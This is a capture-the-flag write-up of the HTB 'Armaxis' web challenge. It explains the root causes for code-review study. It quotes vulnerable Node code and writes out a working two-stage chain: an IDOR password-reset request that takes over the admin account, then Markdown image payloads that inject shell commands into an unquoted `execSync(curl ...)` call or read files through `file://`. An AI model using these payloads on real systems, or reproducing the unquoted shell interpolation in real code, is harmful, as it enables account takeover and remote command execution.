Challenge Info

Spoiler

Armaxis is a weapon-dispatch web app guarded by JWT auth. A password-reset endpoint that validates the token but never checks who it belongs to (IDOR) lets us reset the admin’s password from a token mailed to an inbox we control. As admin, the weapon “Note” field is parsed as Markdown — and the image handler drops the URL straight into execSync(curl -s ${url}), giving OS command injection → RCE.

In the contrary the official HTB path and description of the challenge goes as follows:

The challenge involves exploiting an Insecure Direct Object Reference (IDOR) vulnerability in the password reset functionality and then leveraging a Local File Inclusion (LFI) vulnerability in the markdown parser.

Artifacts Provided

  • Application source — the Node/Express backend (routes, auth, markdown.js).
  • Live web instance — the Armaxis app plus a throwaway inbox bound to [email protected] for receiving reset mail.

Code-review challenge: the whole solution is readable in the source before a single request is sent.

Analysis

Recon — the app and its two halves

The login page (Armaxis) offers register / login / Forgot Password. Registering lands you on a near-empty dashboard — “No weapons dispatched yet.” — and that’s the entire footprint available to a normal user.

Two things stand out in source:

  • Auth is JWT, HS256, and role is just a field inside the token body. Every account registers as non-admin, and the app verifies the token server-side — so forging role: admin would need the signing secret. Cracking it (hashcat -m 16500) gets nowhere; the secret is strong. Dead end, but a useful one to rule out early.
  • A second service is in scope: the mailbox at [email protected], where password-reset tokens land. The reason two apps exist is the whole hint — the bug lives in the seam, in how the reset token issued to our inbox is allowed to act on another account.

Stage 1 — IDOR in the password reset (→ admin)

The reset flow sends a token to [email protected] (an inbox we read). The token itself is an opaque 16-byte hex value bound server-side to a userId — nothing to tamper with there. The flaw is one layer up, in how the token is consumed:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
router.post("/reset-password", async (req, res) => {
  const { token, newPassword, email } = req.body;   // note: 'email' is attacker-supplied
  if (!token || !newPassword || !email)
    return res.status(400).send("Token, email, and new password are required.");

  try {
    const reset = await getPasswordReset(token);                 // (1) token valid & unexpired?
    if (!reset) return res.status(400).send("Invalid or expired token.");

    const user = await getUserByEmail(email);                    // (2) whose password? -> 'email'
    if (!user) return res.status(404).send("User not found.");

    await updateUserPassword(user.id, newPassword);              // (3) reset THAT user
    await deletePasswordReset(token);
    res.send("Password reset successful.");
  } catch (err) {
    console.error("Error resetting password:", err);
    res.status(500).send("Error resetting password.");
  }
});
1
2
3
4
5
async function getPasswordReset(token) {
  const query = `SELECT * FROM password_resets WHERE token = ? AND expires_at > ?`;
  const reset = await get(query, [token, Date.now()]);
  return reset;   // returns the row (incl. its userId) — which is then IGNORED
}

getPasswordReset(token) returns the reset row including the userId it was issued for — and the handler never compares it against the account being changed. Step (2) resolves the target purely from the attacker-controlled email body field, and step (3) resets that user. Token ownership and reset target are fully decoupled — textbook IDOR / missing ownership check (CWE-639 / broken access control).

So: request a reset to [email protected], read the valid token out of our inbox, then submit it against the admin’s address.

1
2
3
4
5
POST /reset-password HTTP/1.1
Host: $TARGET
Content-Type: application/json

{"token":"947cac8ffa93fcccec4d4398c7799c77","email":"[email protected]","newPassword":"pwned123"}
1
2
HTTP/1.1 200 OK
Password reset successful.
Tip
The getUserByEmail query is parameterized (SELECT * FROM users WHERE email = ?) — no SQLi, and no coaxing it to id=0. The instinct (“make the server act on a user id I shouldn’t”) is right, but the lever isn’t in the SQL; it’s the un-validated email field in the request body. Don’t burn time on the reset token contents either — it’s random and DB-bound, nothing to forge.

Log in with the new admin password. The navbar gains Dispatch Weapon, and /weapons/dispatch is now reachable:

1
2
3
4
5
6
7
8
9
router.post("/weapons/dispatch", authenticate, async (req, res) => {
  const { role } = req.user;
  if (role !== "admin") return res.status(403).send("Access denied.");

  const { name, price, note, dispatched_to } = req.body;
  // ...
  const parsedNote = parseMarkdown(note);   // <-- the Note field is rendered as Markdown
  await dispatchWeapon(name, price, parsedNote, dispatched_to);
});

Stage 2 — command injection in the Markdown parser

The Note (Markdown) field is handed to parseMarkdown, which pre-processes images before rendering:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
const md = new MarkdownIt({ html: true });

function parseMarkdown(content) {
  if (!content) return '';
  return md.render(
    content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
      try {
        const fileContent = execSync(`curl -s ${url}`);               // <-- url interpolated, unquoted
        const base64Content = Buffer.from(fileContent).toString('base64');
        return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;
      } catch (err) {
        return `<p>Error loading image: ${url}</p>`;
      }
    })
  );
}

The intent is server-side image inlining: for every ![alt](url), fetch the bytes with curl, base64 them, and swap in a data: URI. Three failures stack:

  1. Template-string interpolation — url is concatenated raw into the command string, no quoting, no escaping, no scheme/char validation (.*? captures anything inside the parens).
  2. execSync runs via /bin/sh -c — every shell metacharacter is live: ;, |, &&, $(...), backticks, >.
  3. url is fully attacker-controlled — straight from the Note field through capture group 1.

So ![x](http://127.0.0.1/;id) becomes curl -s http://127.0.0.1/;id → two commands. OS command injection, CWE-78.

Tip
The regex is a gate. Bare ;id in the Note field renders as literal text — the /\!\[.*?\]\((.*?)\)/ pattern only fires on a well-formed ![alt](url), so the execSync callback never runs without the image wrapper. Every payload must be shaped ![x](...).
Tip
Output goes into the <img>, not the page. The callback returns base64 of curl’s stdout embedded in a data: URI — and since execSync captures the whole command line’s stdout, an injected command’s output lands there too. So injected output is not echoed as visible text, but it is sitting in the <img src>: read the base64 out of the rendered DOM and decode. That turns the “blind” sink into a readable one with no listener at all.

No reverse shell needed — the flag is one injected command away. Inject cat and let its stdout ride back through the parser’s own base64-into-<img> behaviour:

![x](http://127.0.0.1/;cat /flag.txt)

The callback runs curl -s http://127.0.0.1/;cat /flag.txt; curl fails harmlessly, cat dumps the flag, and execSync’s captured stdout gets base64’d into the embedded image’s src. Read it straight out of the rendered DOM and decode:

1
2
# grab the data:image/*;base64,<...> value from the dispatched note's <img> and decode
echo '<base64-from-img-src>' | base64 -d

Flag

The decoded <img src> is the contents of /flag.txt:

Spoiler
HTB{m4rkd0wn_bugs_1n_th3_w1ld!}
Tip
Deviation from the intended path. Per HTB’s synopsis the second stage is an LFI, not RCE: curl honors the file:// scheme, so a payload of ![img](file:///flag.txt) makes the parser run curl -s file:///flag.txt, read the flag, and base64 it straight into the rendered <img src> — pull it from the DOM and decode. That’s the author’s route (and also a blind SSRF primitive via http://). The unquoted interpolation makes full command injection available too, which is strictly more powerful — same sink, bigger payoff. Both land the flag; file:// LFI is the minimal intended one.

Full chain

Armaxis (weapon-dispatch app, JWT/HS256 auth)
  └─ register + request password reset → token mailed to [email protected] (inbox we read)
      └─ IDOR: POST /reset-password {token, email: [email protected], newPassword}
          └─ token validated but ownership never checked → admin password reset
              └─ log in as admin → Dispatch Weapon (Note = Markdown)
                  └─ parseMarkdown: ![x](URL) → execSync(`curl -s ${URL}`)   (unquoted)
                      ├─ command injection: ![x](http://127.0.0.1/;cat /flag.txt)
                      │                       → stdout base64'd into <img src> → decode → FLAG
                      └─ (intended) ![img](file:///flag.txt) → curl file:// LFI → FLAG
Tip
Both bugs are the same disease — trusting attacker-supplied input to name a privileged operand. The reset handler trusts the email body field to say whose password to change; the markdown parser trusts the image url to be a safe argument to a shell. One is broken access control, the other is command injection, but the review instinct is identical: follow every user-controlled value to the sink that consumes it, and check what it’s allowed to address. Worth keeping as a paired reference for code-review / secure-dev work.